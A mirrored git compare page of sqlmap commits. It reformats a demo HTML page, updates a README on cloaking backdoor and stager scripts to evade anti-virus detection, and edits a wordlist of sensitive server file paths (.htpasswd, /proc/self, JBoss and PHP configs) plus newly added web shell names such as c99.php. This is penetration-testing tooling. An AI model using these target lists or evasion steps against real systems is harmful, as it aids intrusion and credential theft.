mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2026-10-12 02:22:55 +00:00
Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
 Miroslav Stampar
|
210a4c3a0a | ||
|
Miroslav Stampar
|
15225668d0 | ||
|
Miroslav Stampar
|
c1bf36b876 | ||
|
Miroslav Stampar
|
229f89004b | ||
|
Miroslav Stampar
|
443b1f2ed5 | ||
|
Miroslav Stampar
|
60f4520020 | ||
|
Miroslav Stampar
|
7460b87f1d | ||
|
Miroslav Stampar
|
5d08b9004e | ||
|
Miroslav Stampar
|
c2b9e539ae | ||
|
HerendraTJ
|
3d8eb62a59 | ||
|
Miroslav Stampar
|
d51e45fd34 | ||
|
Miroslav Stampar
|
3258e29cf9 | ||
|
antichownandMiroslav Stampar
|
e0ea1ab5e9 | ||
|
Miroslav Stampar
|
192ca02c41 | ||
|
Miroslav Stampar
|
f0bbbb0918 | ||
|
Miroslav Stampar
|
f6857d4ee4 | ||
|
Miroslav Stampar
|
a1342e04a5 | ||
|
Miroslav Stampar
|
7963281c41 | ||
|
Miroslav Stampar
|
715063f0d4 | ||
|
Miroslav Stampar
|
1658331810 | ||
|
Miroslav Stampar
|
bfe93e20c5 | ||
|
Miroslav Stampar
|
bcea050f22 | ||
|
Miroslav Stampar
|
c4a692abe3 | ||
|
Miroslav Stampar
|
b42b62ae38 | ||
|
Miroslav Stampar
|
a7f20c1d67 | ||
|
Miroslav Stampar
|
f781367ac1 | ||
|
mkauschiandmanuel
|
1bec3a953c | ||
|
Miroslav Stampar
|
66e07dfab6 | ||
|
Miroslav Stampar
|
226d467f6d | ||
|
Miroslav Stampar
|
ea5ae44b6c | ||
|
Miroslav Stampar
|
95b9a47c6f | ||
|
Miroslav Stampar
|
e05f65628d | ||
|
Miroslav Stampar
|
609545176f | ||
|
Miroslav Stampar
|
8de4820b24 | ||
|
Miroslav Stampar
|
df5fabbbbb | ||
|
Miroslav Stampar
|
0c48d0dbec | ||
|
Miroslav Stampar
|
5108c2d06c | ||
|
Miroslav Stampar
|
603d602550 | ||
|
Miroslav Stampar
|
907786edb8 | ||
|
Miroslav Stampar
|
85b73f872e | ||
|
Miroslav Stampar
|
a42ec7d9cb | ||
|
tree-chtsec
|
b3f4c6d0fc | ||
|
Miroslav Stampar
|
cec65f3a27 | ||
|
Miroslav Stampar
|
cc79ae69aa | ||
|
Miroslav Stampar
|
5a9dc15cf2 | ||
|
Miroslav Stampar
|
f1fd080ba5 | ||
|
Miroslav Stampar
|
cfe9fb4f5b | ||
|
Miroslav Stampar
|
7a55c9c145 | ||
|
Miroslav Stampar
|
4077a359f4 | ||
|
Miroslav Stampar
|
435fd49f1d | ||
|
Miroslav Stampar
|
bcfd9c3f48 | ||
|
Miroslav Stampar
|
39c320c29b | ||
|
Miroslav Stampar
|
b719b9612f | ||
|
Miroslav Stampar
|
84bc2640d1 | ||
|
Miroslav Stampar
|
fced29a242 | ||
|
Miroslav Stampar
|
2e5e958d3f | ||
|
Miroslav Stampar
|
1e30471d3d | ||
|
Miroslav Stampar
|
10b93d753d | ||
|
Miroslav Stampar
|
1280abc25c | ||
|
Miroslav Stampar
|
c47061f25d | ||
|
HerendraTJ
|
9b871f1093 | ||
|
Miroslav Stampar
|
0ba07e93d5 | ||
|
Miroslav Stampar
|
ce50acf69d | ||
|
Miroslav Stampar
|
9f0ff27c26 | ||
|
Miroslav Stampar
|
ecafac5cd2 | ||
|
Miroslav Stampar
|
f39869992c | ||
|
Miroslav Stampar
|
e910fc6b8b | ||
|
Gustavo
|
6375f9e506 | ||
|
Miroslav Stampar
|
8e649dc3f7 | ||
|
Miroslav Stampar
|
a6ce91a3e2 | ||
|
Miroslav Stampar
|
408862b040 | ||
|
Miroslav Stampar
|
fc4dec7291 | ||
|
Miroslav Stampar
|
274a6e62da | ||
|
Miroslav Stampar
|
aa7c548376 | ||
|
Miroslav Stampar
|
6b7a1dfd94 | ||
|
Miroslav Stampar
|
67f918f6ad | ||
|
Miroslav Stampar
|
a65e1faf99 | ||
|
Miroslav Stampar
|
ff48e1d820 | ||
|
Miroslav Stampar
|
0094f02fb0 |
+147
-146
@@ -1,150 +1,151 @@
|
|||||||
<!DOCTYPE html>
|
<!DOCTYPE html>
|
||||||
|
|
||||||
<!-- http://angrytools.com/bootstrap/editor/ -->
|
<!-- http://angrytools.com/bootstrap/editor/ -->
|
||||||
|
|
||||||
<html lang="en">
|
<html lang="en">
|
||||||
<head>
|
<head>
|
||||||
<meta charset="utf-8">
|
<title>DEMO</title>
|
||||||
<meta http-equiv="X-UA-Compatible" content="IE=edge">
|
<meta charset="utf-8">
|
||||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
<meta http-equiv="X-UA-Compatible" content="IE=edge">
|
||||||
<link href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.0/css/bootstrap.min.css" rel="stylesheet">
|
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||||
<link href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.0/css/bootstrap-theme.min.css" rel="stylesheet">
|
<link href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.0/css/bootstrap.min.css" rel="stylesheet">
|
||||||
|
<link href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.0/css/bootstrap-theme.min.css" rel="stylesheet">
|
||||||
<!--[if lt IE 9]><script src="https://oss.maxcdn.com/html5shiv/3.7.2/html5shiv.min.js"></script><script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script><![endif]-->
|
|
||||||
</head>
|
<!--[if lt IE 9]><script src="https://oss.maxcdn.com/html5shiv/3.7.2/html5shiv.min.js"></script><script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script><![endif]-->
|
||||||
<body>
|
</head>
|
||||||
<style>
|
<body>
|
||||||
#wrapper { width: 100%; }
|
<style>
|
||||||
|
#wrapper { width: 100%; }
|
||||||
#page-wrapper {
|
|
||||||
padding: 0 15px;
|
#page-wrapper {
|
||||||
min-height: 568px;
|
padding: 0 15px;
|
||||||
background-color: #fff;
|
min-height: 568px;
|
||||||
}
|
background-color: #fff;
|
||||||
|
}
|
||||||
@media(min-width:768px) {
|
|
||||||
#page-wrapper {
|
@media(min-width:768px) {
|
||||||
position: inherit;
|
#page-wrapper {
|
||||||
margin: 0 0 0 250px;
|
position: inherit;
|
||||||
padding: 0 30px;
|
margin: 0 0 0 250px;
|
||||||
border-left: 1px solid #e7e7e7;
|
padding: 0 30px;
|
||||||
}
|
border-left: 1px solid #e7e7e7;
|
||||||
}
|
}
|
||||||
|
}
|
||||||
.sidebar .sidebar-nav.navbar-collapse { padding-right: 0; padding-left: 0; }
|
|
||||||
.sidebar .sidebar-search { padding: 15px; }
|
.sidebar .sidebar-nav.navbar-collapse { padding-right: 0; padding-left: 0; }
|
||||||
.sidebar ul li { border-bottom: 1px solid #e7e7e7; }
|
.sidebar .sidebar-search { padding: 15px; }
|
||||||
|
.sidebar ul li { border-bottom: 1px solid #e7e7e7; }
|
||||||
.sidebar ul li a.active { background-color: #eee; }
|
|
||||||
|
.sidebar ul li a.active { background-color: #eee; }
|
||||||
.sidebar .arrow { float: right;}
|
|
||||||
.sidebar .fa.arrow:before { content: "f104";}
|
.sidebar .arrow { float: right;}
|
||||||
.sidebar .active>a>.fa.arrow:before { content: "f107"; }
|
.sidebar .fa.arrow:before { content: "f104";}
|
||||||
.sidebar .nav-second-level li,
|
.sidebar .active>a>.fa.arrow:before { content: "f107"; }
|
||||||
.sidebar .nav-third-level li {
|
.sidebar .nav-second-level li,
|
||||||
border-bottom: 0!important;
|
.sidebar .nav-third-level li {
|
||||||
}
|
border-bottom: 0!important;
|
||||||
|
}
|
||||||
.sidebar .nav-second-level li a { padding-left: 37px; }
|
|
||||||
.sidebar .nav-third-level li a { padding-left: 52px; }
|
.sidebar .nav-second-level li a { padding-left: 37px; }
|
||||||
|
.sidebar .nav-third-level li a { padding-left: 52px; }
|
||||||
@media(min-width:768px) {
|
|
||||||
.sidebar {
|
@media(min-width:768px) {
|
||||||
z-index: 1;
|
.sidebar {
|
||||||
position: absolute;
|
z-index: 1;
|
||||||
width: 250px;
|
position: absolute;
|
||||||
margin-top: 51px;
|
width: 250px;
|
||||||
}
|
margin-top: 51px;
|
||||||
}
|
}
|
||||||
</style>
|
}
|
||||||
<div id="wrapper">
|
</style>
|
||||||
|
<div id="wrapper">
|
||||||
<nav class="navbar navbar-default navbar-static-top" role="navigation" style="margin-bottom: 0">
|
|
||||||
<div class="navbar-header">
|
<nav class="navbar navbar-default navbar-static-top" role="navigation" style="margin-bottom: 0">
|
||||||
<button type="button" class="navbar-toggle" data-toggle="collapse" data-target=".navbar-collapse">
|
<div class="navbar-header">
|
||||||
<span class="sr-only">Toggle navigation</span>
|
<button type="button" class="navbar-toggle" data-toggle="collapse" data-target=".navbar-collapse">
|
||||||
<span class="icon-bar"></span>
|
<span class="sr-only">Toggle navigation</span>
|
||||||
<span class="icon-bar"></span>
|
<span class="icon-bar"></span>
|
||||||
<span class="icon-bar"></span>
|
<span class="icon-bar"></span>
|
||||||
</button>
|
<span class="icon-bar"></span>
|
||||||
<a class="navbar-brand" href="index.html">sqlmap</a>
|
</button>
|
||||||
</div>
|
<a class="navbar-brand" href="index.html">sqlmap</a>
|
||||||
|
</div>
|
||||||
<div class="navbar-default sidebar" role="navigation">
|
|
||||||
<div class="sidebar-nav navbar-collapse">
|
<div class="navbar-default sidebar" role="navigation">
|
||||||
<ul class="nav" id="side-menu">
|
<div class="sidebar-nav navbar-collapse">
|
||||||
<li>
|
<ul class="nav" id="side-menu">
|
||||||
<a href="#"><i class="glyphicon glyphicon-home"></i> Options<span class="arrow"></span></a>
|
<li>
|
||||||
<ul class="nav nav-second-level">
|
<a href="#"><em class="glyphicon glyphicon-home"></em> Options<span class="arrow"></span></a>
|
||||||
<li><a>Target</a></li>
|
<ul class="nav nav-second-level">
|
||||||
<li><a>Request</a></li>
|
<li><a>Target</a></li>
|
||||||
<li><a>Optimization</a></li>
|
<li><a>Request</a></li>
|
||||||
<li><a>Injection</a></li>
|
<li><a>Optimization</a></li>
|
||||||
<li><a>Detection</a></li>
|
<li><a>Injection</a></li>
|
||||||
<li><a>Techniques</a></li>
|
<li><a>Detection</a></li>
|
||||||
<li><a>Fingerprint</a></li>
|
<li><a>Techniques</a></li>
|
||||||
<li><a>Enumeration</a></li>
|
<li><a>Fingerprint</a></li>
|
||||||
<li><a>Brute force</a></li>
|
<li><a>Enumeration</a></li>
|
||||||
<li><a>User-defined function injection</a></li>
|
<li><a>Brute force</a></li>
|
||||||
<li><a>File system access</a></li>
|
<li><a>User-defined function injection</a></li>
|
||||||
<li><a>Operating system access</a></li>
|
<li><a>File system access</a></li>
|
||||||
<li><a>Windows registry access</a></li>
|
<li><a>Operating system access</a></li>
|
||||||
<li><a>General</a></li>
|
<li><a>Windows registry access</a></li>
|
||||||
<li><a>Miscellaneous</a></li>
|
<li><a>General</a></li>
|
||||||
</ul>
|
<li><a>Miscellaneous</a></li>
|
||||||
</li>
|
</ul>
|
||||||
</ul>
|
</li>
|
||||||
</div>
|
</ul>
|
||||||
</div>
|
</div>
|
||||||
</nav>
|
</div>
|
||||||
|
</nav>
|
||||||
<div id="page-wrapper">
|
|
||||||
<div class="row">
|
<div id="page-wrapper">
|
||||||
<h4>DEMO</h4>
|
<div class="row">
|
||||||
</div>
|
<h4>DEMO</h4>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<script>
|
</div>
|
||||||
/*
|
<script>
|
||||||
* metismenu - v1.0.3
|
/*
|
||||||
* Easy menu jQuery plugin for Twitter Bootstrap 3
|
* metismenu - v1.0.3
|
||||||
* https://github.com/onokumus/metisMenu
|
* Easy menu jQuery plugin for Twitter Bootstrap 3
|
||||||
*
|
* https://github.com/onokumus/metisMenu
|
||||||
* Made by Osman Nuri Okumuş
|
*
|
||||||
* Under MIT License
|
* Made by Osman Nuri Okumuş
|
||||||
*/
|
* Under MIT License
|
||||||
!function(a,b,c){function d(b,c){this.element=b,this.settings=a.extend({},f,c),this._defaults=f,this._name=e,this.init()}var e="metisMenu",f={toggle:!0};d.prototype={init:function(){var b=a(this.element),c=this.settings.toggle;this.isIE()<=9?(b.find("li.active").has("ul").children("ul").collapse("show"),b.find("li").not(".active").has("ul").children("ul").collapse("hide")):(b.find("li.active").has("ul").children("ul").addClass("collapse in"),b.find("li").not(".active").has("ul").children("ul").addClass("collapse")),b.find("li").has("ul").children("a").on("click",function(b){b.preventDefault(),a(this).parent("li").toggleClass("active").children("ul").collapse("toggle"),c&&a(this).parent("li").siblings().removeClass("active").children("ul.in").collapse("hide")})},isIE:function(){for(var a,b=3,d=c.createElement("div"),e=d.getElementsByTagName("i");d.innerHTML="<!--[if gt IE "+ ++b+"]><i></i><![endif]-->",e[0];)return b>4?b:a}},a.fn[e]=function(b){return this.each(function(){a.data(this,"plugin_"+e)||a.data(this,"plugin_"+e,new d(this,b))})}}(jQuery,window,document);
|
*/
|
||||||
|
!function(a,b,c){function d(b,c){this.element=b,this.settings=a.extend({},f,c),this._defaults=f,this._name=e,this.init()}var e="metisMenu",f={toggle:!0};d.prototype={init:function(){var b=a(this.element),c=this.settings.toggle;this.isIE()<=9?(b.find("li.active").has("ul").children("ul").collapse("show"),b.find("li").not(".active").has("ul").children("ul").collapse("hide")):(b.find("li.active").has("ul").children("ul").addClass("collapse in"),b.find("li").not(".active").has("ul").children("ul").addClass("collapse")),b.find("li").has("ul").children("a").on("click",function(b){b.preventDefault(),a(this).parent("li").toggleClass("active").children("ul").collapse("toggle"),c&&a(this).parent("li").siblings().removeClass("active").children("ul.in").collapse("hide")})},isIE:function(){for(var a,b=3,d=c.createElement("div"),e=d.getElementsByTagName("i");d.innerHTML="<!--[if gt IE "+ ++b+"]><i></i><![endif]-->",e[0];)return b>4?b:a}},a.fn[e]=function(b){return this.each(function(){a.data(this,"plugin_"+e)||a.data(this,"plugin_"+e,new d(this,b))})}}(jQuery,window,document);
|
||||||
$(function() {
|
|
||||||
|
$(function() {
|
||||||
$('#side-menu').metisMenu();
|
|
||||||
|
$('#side-menu').metisMenu();
|
||||||
});
|
|
||||||
|
});
|
||||||
//Loads the correct sidebar on window load,
|
|
||||||
//collapses the sidebar on window resize.
|
//Loads the correct sidebar on window load,
|
||||||
// Sets the min-height of #page-wrapper to window size
|
//collapses the sidebar on window resize.
|
||||||
$(function() {
|
// Sets the min-height of #page-wrapper to window size
|
||||||
$(window).bind("load resize", function() {
|
$(function() {
|
||||||
topOffset = 50;
|
$(window).bind("load resize", function() {
|
||||||
width = (this.window.innerWidth > 0) ? this.window.innerWidth : this.screen.width;
|
topOffset = 50;
|
||||||
if (width < 768) {
|
width = (this.window.innerWidth > 0) ? this.window.innerWidth : this.screen.width;
|
||||||
$('div.navbar-collapse').addClass('collapse')
|
if (width < 768) {
|
||||||
topOffset = 100; // 2-row-menu
|
$('div.navbar-collapse').addClass('collapse')
|
||||||
} else {
|
topOffset = 100; // 2-row-menu
|
||||||
$('div.navbar-collapse').removeClass('collapse')
|
} else {
|
||||||
}
|
$('div.navbar-collapse').removeClass('collapse')
|
||||||
|
}
|
||||||
height = (this.window.innerHeight > 0) ? this.window.innerHeight : this.screen.height;
|
|
||||||
height = height - topOffset;
|
height = (this.window.innerHeight > 0) ? this.window.innerHeight : this.screen.height;
|
||||||
if (height < 1) height = 1;
|
height = height - topOffset;
|
||||||
if (height > topOffset) {
|
if (height < 1) height = 1;
|
||||||
$("#page-wrapper").css("min-height", (height) + "px");
|
if (height > topOffset) {
|
||||||
}
|
$("#page-wrapper").css("min-height", (height) + "px");
|
||||||
})
|
}
|
||||||
});
|
})
|
||||||
</script>
|
});
|
||||||
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"></script>
|
</script>
|
||||||
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.0/js/bootstrap.min.js"></script>
|
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"></script>
|
||||||
</body>
|
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.0/js/bootstrap.min.js"></script>
|
||||||
|
</body>
|
||||||
</html>
|
</html>
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
Due to the anti-virus positive detection of shell scripts stored inside this folder, we needed to somehow circumvent this. As from the plain sqlmap users perspective nothing has to be done prior to their usage by sqlmap, but if you want to have access to their original source code use the decrypt functionality of the ../extra/cloak/cloak.py utility.
|
Due to the anti-virus positive detection of shell scripts stored inside this folder, we needed to somehow circumvent this. As from the plain sqlmap users perspective nothing has to be done prior to their usage by sqlmap, but if you want to have access to their original source code use the decrypt functionality of the ../../extra/cloak/cloak.py utility.
|
||||||
|
|
||||||
To prepare the original scripts to the cloaked form use this command:
|
To prepare the original scripts to the cloaked form use this command:
|
||||||
find backdoors/backdoor.* stagers/stager.* -type f -exec python ../extra/cloak/cloak.py -i '{}' \;
|
find backdoors/backdoor.* stagers/stager.* -type f -exec python ../../extra/cloak/cloak.py -i '{}' \;
|
||||||
|
|
||||||
To get back them into the original form use this:
|
To get back them into the original form use this:
|
||||||
find backdoors/backdoor.*_ stagers/stager.*_ -type f -exec python ../extra/cloak/cloak.py -d -i '{}' \;
|
find backdoors/backdoor.*_ stagers/stager.*_ -type f -exec python ../../extra/cloak/cloak.py -d -i '{}' \;
|
||||||
|
|||||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -1,2 +1,2 @@
|
|||||||
:ЫХ&%╦С_m⌠D╗в?Е▓>и╠gI╛ё╠/З∙щб" ▄FщFчRs.k п⌡dqИЮa┌XЬ[°┘╧Юбlс5╖ZШйв ∙⌠▄% Eч:+b≈м ┬m╫Eк
|
5Ó×<Ùñ\Íh�†i•å1ãŽUPÍ¡²=¤¹è“^R~ƒlâtÇ3q-yÄü®5Rž Ê^°A™YŸ—çÌ÷F:£B¨pÄøÎj—�ž{'$ˆJ\m½ò,‘ ¿FÙTÙ6áânHñFºÿ©
uµÁvλ|U’QPÈT"bÃ_/FøóÕª¸·4¡v]SµiCp8Z˜
{Ì€ƒbõ�XÖœ A9 FFÖj/å›pñ–Ì“x\uý«pŽgH×&d?ô~³çiY¸f"꧟¦b‰³¦EÕq#dëMø#%£Ñ§m¸�£Ê®H¡zw#Vá iÁé6ÍjÁèdPå«]'§ºÃ Ç
|
||||||
У╟╢ ?Чl┘м╟lw╤с(Б▌-Б&_Бk{╒],T╕ъЮШНгC╝\ba╛ik@bL6E ХztФ©╠{■▐[дO╟]I~IlИX6└ ≤ .щё²EЦS_б≥iОeKеxH2n╒дХCf┼CХ╓█ЬN╪БП5╒~ [ы,З 7ЩЩ=Ж;хЙ╛Ю+°Qюxt}zтq?╠·9ГUСЯSВУ>hvЯй╢М5gДW÷S=Н▓%√t"dЮ╒с╢wОnALg╛б▀ё$вО│ЁУ│э│ф╢ Sок_ЕyJ╔Y ┌Ч2У╫]╜;K;╚╞"√²6py|╙╡╟Х'*┌ ²)+.K┌у,R╬d(~U·│Ы6г9└▌b+аLi╪Ш©x
°Т`АЩ┘╧X┤>~н╙zE÷√НЪИР┤gХ└├╓f· Nб■К╠P{═▀$▌▀─e%< ╒З╫У╩Sвв├┌$2#├╟P{ ╞╞Ф]╧├Ио└*⌠@°╔ж]╪kE
|
Uý6�P/°¾Ç"Rïˆì†nŽlB^9€÷ÚõT ૌǘ½ƒÅê 0™»(êS>x¼8 �ìlÙˆ ûK<41”�;÷Ÿ5b'PŸãæ˜P%¨ ¯0J,H�‹9èw'Tj¬˜˜4Ä+Ú¢/3L[¶CCƒ(âÞzŽªLÔ¬ÓÉ/ˆAü³Gœ„°Óܣџ‹¬&–ÿ MÐÊÇ„-Ðü+¤´² '?üÖˆB£Ë$Ø.è´ ã&O ×æ …�ÔDØ„êÝÚ¦ÊÕ¡R(ƒY\
|
||||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
+62
-67
@@ -679,17 +679,6 @@
|
|||||||
|
|
||||||
/.htaccess
|
/.htaccess
|
||||||
/.htpasswd
|
/.htpasswd
|
||||||
/[jboss]/server/default/conf/jboss-minimal.xml
|
|
||||||
/[jboss]/server/default/conf/jboss-service.xml
|
|
||||||
/[jboss]/server/default/conf/jndi.properties
|
|
||||||
/[jboss]/server/default/conf/log4j.xml
|
|
||||||
/[jboss]/server/default/conf/login-config.xml
|
|
||||||
/[jboss]/server/default/conf/server.log.properties
|
|
||||||
/[jboss]/server/default/conf/standardjaws.xml
|
|
||||||
/[jboss]/server/default/conf/standardjboss.xml
|
|
||||||
/[jboss]/server/default/deploy/jboss-logging.xml
|
|
||||||
/[jboss]/server/default/log/boot.log
|
|
||||||
/[jboss]/server/default/log/server.log
|
|
||||||
/access.log
|
/access.log
|
||||||
/access_log
|
/access_log
|
||||||
/apache/conf/httpd.conf
|
/apache/conf/httpd.conf
|
||||||
@@ -1024,17 +1013,17 @@
|
|||||||
/mysql/my.cnf
|
/mysql/my.cnf
|
||||||
/mysql/my.ini
|
/mysql/my.ini
|
||||||
/netserver/bin/stable/apache/php.ini
|
/netserver/bin/stable/apache/php.ini
|
||||||
/opt/[jboss]/server/default/conf/jboss-minimal.xml
|
/opt/jboss/server/default/conf/jboss-minimal.xml
|
||||||
/opt/[jboss]/server/default/conf/jboss-service.xml
|
/opt/jboss/server/default/conf/jboss-service.xml
|
||||||
/opt/[jboss]/server/default/conf/jndi.properties
|
/opt/jboss/server/default/conf/jndi.properties
|
||||||
/opt/[jboss]/server/default/conf/log4j.xml
|
/opt/jboss/server/default/conf/log4j.xml
|
||||||
/opt/[jboss]/server/default/conf/login-config.xml
|
/opt/jboss/server/default/conf/login-config.xml
|
||||||
/opt/[jboss]/server/default/conf/server.log.properties
|
/opt/jboss/server/default/conf/server.log.properties
|
||||||
/opt/[jboss]/server/default/conf/standardjaws.xml
|
/opt/jboss/server/default/conf/standardjaws.xml
|
||||||
/opt/[jboss]/server/default/conf/standardjboss.xml
|
/opt/jboss/server/default/conf/standardjboss.xml
|
||||||
/opt/[jboss]/server/default/deploy/jboss-logging.xml
|
/opt/jboss/server/default/deploy/jboss-logging.xml
|
||||||
/opt/[jboss]/server/default/log/boot.log
|
/opt/jboss/server/default/log/boot.log
|
||||||
/opt/[jboss]/server/default/log/server.log
|
/opt/jboss/server/default/log/server.log
|
||||||
/opt/apache/apache.conf
|
/opt/apache/apache.conf
|
||||||
/opt/apache/apache2.conf
|
/opt/apache/apache2.conf
|
||||||
/opt/apache/conf/apache.conf
|
/opt/apache/conf/apache.conf
|
||||||
@@ -1075,17 +1064,6 @@
|
|||||||
/private/etc/httpd/httpd.conf
|
/private/etc/httpd/httpd.conf
|
||||||
/private/etc/httpd/httpd.conf.default
|
/private/etc/httpd/httpd.conf.default
|
||||||
/private/etc/squirrelmail/config/config.php
|
/private/etc/squirrelmail/config/config.php
|
||||||
/private/tmp/[jboss]/server/default/conf/jboss-minimal.xml
|
|
||||||
/private/tmp/[jboss]/server/default/conf/jboss-service.xml
|
|
||||||
/private/tmp/[jboss]/server/default/conf/jndi.properties
|
|
||||||
/private/tmp/[jboss]/server/default/conf/log4j.xml
|
|
||||||
/private/tmp/[jboss]/server/default/conf/login-config.xml
|
|
||||||
/private/tmp/[jboss]/server/default/conf/server.log.properties
|
|
||||||
/private/tmp/[jboss]/server/default/conf/standardjaws.xml
|
|
||||||
/private/tmp/[jboss]/server/default/conf/standardjboss.xml
|
|
||||||
/private/tmp/[jboss]/server/default/deploy/jboss-logging.xml
|
|
||||||
/private/tmp/[jboss]/server/default/log/boot.log
|
|
||||||
/private/tmp/[jboss]/server/default/log/server.log
|
|
||||||
/proc/cpuinfo
|
/proc/cpuinfo
|
||||||
/proc/devices
|
/proc/devices
|
||||||
/proc/meminfo
|
/proc/meminfo
|
||||||
@@ -1114,17 +1092,17 @@
|
|||||||
/proc/self/stat
|
/proc/self/stat
|
||||||
/proc/self/status
|
/proc/self/status
|
||||||
/proc/version
|
/proc/version
|
||||||
/program files/[jboss]/server/default/conf/jboss-minimal.xml
|
/program files/jboss/server/default/conf/jboss-minimal.xml
|
||||||
/program files/[jboss]/server/default/conf/jboss-service.xml
|
/program files/jboss/server/default/conf/jboss-service.xml
|
||||||
/program files/[jboss]/server/default/conf/jndi.properties
|
/program files/jboss/server/default/conf/jndi.properties
|
||||||
/program files/[jboss]/server/default/conf/log4j.xml
|
/program files/jboss/server/default/conf/log4j.xml
|
||||||
/program files/[jboss]/server/default/conf/login-config.xml
|
/program files/jboss/server/default/conf/login-config.xml
|
||||||
/program files/[jboss]/server/default/conf/server.log.properties
|
/program files/jboss/server/default/conf/server.log.properties
|
||||||
/program files/[jboss]/server/default/conf/standardjaws.xml
|
/program files/jboss/server/default/conf/standardjaws.xml
|
||||||
/program files/[jboss]/server/default/conf/standardjboss.xml
|
/program files/jboss/server/default/conf/standardjboss.xml
|
||||||
/program files/[jboss]/server/default/deploy/jboss-logging.xml
|
/program files/jboss/server/default/deploy/jboss-logging.xml
|
||||||
/program files/[jboss]/server/default/log/boot.log
|
/program files/jboss/server/default/log/boot.log
|
||||||
/program files/[jboss]/server/default/log/server.log
|
/program files/jboss/server/default/log/server.log
|
||||||
/program files/apache group/apache/apache.conf
|
/program files/apache group/apache/apache.conf
|
||||||
/program files/apache group/apache/apache2.conf
|
/program files/apache group/apache/apache2.conf
|
||||||
/program files/apache group/apache/conf/apache.conf
|
/program files/apache group/apache/conf/apache.conf
|
||||||
@@ -1177,17 +1155,17 @@
|
|||||||
/system/library/webobjects/adaptors/apache2.2/apache.conf
|
/system/library/webobjects/adaptors/apache2.2/apache.conf
|
||||||
/temp/sess_
|
/temp/sess_
|
||||||
/thttpd_log
|
/thttpd_log
|
||||||
/tmp/[jboss]/server/default/conf/jboss-minimal.xml
|
/tmp/jboss/server/default/conf/jboss-minimal.xml
|
||||||
/tmp/[jboss]/server/default/conf/jboss-service.xml
|
/tmp/jboss/server/default/conf/jboss-service.xml
|
||||||
/tmp/[jboss]/server/default/conf/jndi.properties
|
/tmp/jboss/server/default/conf/jndi.properties
|
||||||
/tmp/[jboss]/server/default/conf/log4j.xml
|
/tmp/jboss/server/default/conf/log4j.xml
|
||||||
/tmp/[jboss]/server/default/conf/login-config.xml
|
/tmp/jboss/server/default/conf/login-config.xml
|
||||||
/tmp/[jboss]/server/default/conf/server.log.properties
|
/tmp/jboss/server/default/conf/server.log.properties
|
||||||
/tmp/[jboss]/server/default/conf/standardjaws.xml
|
/tmp/jboss/server/default/conf/standardjaws.xml
|
||||||
/tmp/[jboss]/server/default/conf/standardjboss.xml
|
/tmp/jboss/server/default/conf/standardjboss.xml
|
||||||
/tmp/[jboss]/server/default/deploy/jboss-logging.xml
|
/tmp/jboss/server/default/deploy/jboss-logging.xml
|
||||||
/tmp/[jboss]/server/default/log/boot.log
|
/tmp/jboss/server/default/log/boot.log
|
||||||
/tmp/[jboss]/server/default/log/server.log
|
/tmp/jboss/server/default/log/server.log
|
||||||
/tmp/access.log
|
/tmp/access.log
|
||||||
/tmp/sess_
|
/tmp/sess_
|
||||||
/usr/apache/conf/httpd.conf
|
/usr/apache/conf/httpd.conf
|
||||||
@@ -1202,17 +1180,17 @@
|
|||||||
/usr/lib/php.ini
|
/usr/lib/php.ini
|
||||||
/usr/lib/php/php.ini
|
/usr/lib/php/php.ini
|
||||||
/usr/lib/security/mkuser.default
|
/usr/lib/security/mkuser.default
|
||||||
/usr/local/[jboss]/server/default/conf/jboss-minimal.xml
|
/usr/local/jboss/server/default/conf/jboss-minimal.xml
|
||||||
/usr/local/[jboss]/server/default/conf/jboss-service.xml
|
/usr/local/jboss/server/default/conf/jboss-service.xml
|
||||||
/usr/local/[jboss]/server/default/conf/jndi.properties
|
/usr/local/jboss/server/default/conf/jndi.properties
|
||||||
/usr/local/[jboss]/server/default/conf/log4j.xml
|
/usr/local/jboss/server/default/conf/log4j.xml
|
||||||
/usr/local/[jboss]/server/default/conf/login-config.xml
|
/usr/local/jboss/server/default/conf/login-config.xml
|
||||||
/usr/local/[jboss]/server/default/conf/server.log.properties
|
/usr/local/jboss/server/default/conf/server.log.properties
|
||||||
/usr/local/[jboss]/server/default/conf/standardjaws.xml
|
/usr/local/jboss/server/default/conf/standardjaws.xml
|
||||||
/usr/local/[jboss]/server/default/conf/standardjboss.xml
|
/usr/local/jboss/server/default/conf/standardjboss.xml
|
||||||
/usr/local/[jboss]/server/default/deploy/jboss-logging.xml
|
/usr/local/jboss/server/default/deploy/jboss-logging.xml
|
||||||
/usr/local/[jboss]/server/default/log/boot.log
|
/usr/local/jboss/server/default/log/boot.log
|
||||||
/usr/local/[jboss]/server/default/log/server.log
|
/usr/local/jboss/server/default/log/server.log
|
||||||
/usr/local/apache/apache.conf
|
/usr/local/apache/apache.conf
|
||||||
/usr/local/apache/apache2.conf
|
/usr/local/apache/apache2.conf
|
||||||
/usr/local/apache/conf/access.conf
|
/usr/local/apache/conf/access.conf
|
||||||
@@ -1801,4 +1779,21 @@
|
|||||||
/etc/httpd/conf.d/squirrelmail.conf
|
/etc/httpd/conf.d/squirrelmail.conf
|
||||||
/usr/share/squirrelmail/config/config.php
|
/usr/share/squirrelmail/config/config.php
|
||||||
/private/etc/squirrelmail/config/config.php
|
/private/etc/squirrelmail/config/config.php
|
||||||
/srv/www/htdos/squirrelmail/config/config.php
|
/srv/www/htdos/squirrelmail/config/config.php
|
||||||
|
|
||||||
|
# Web shells
|
||||||
|
|
||||||
|
/var/www/html/backdoor.php
|
||||||
|
/var/www/html/b374k.php
|
||||||
|
/var/www/html/c99.php
|
||||||
|
/var/www/html/cmd.php
|
||||||
|
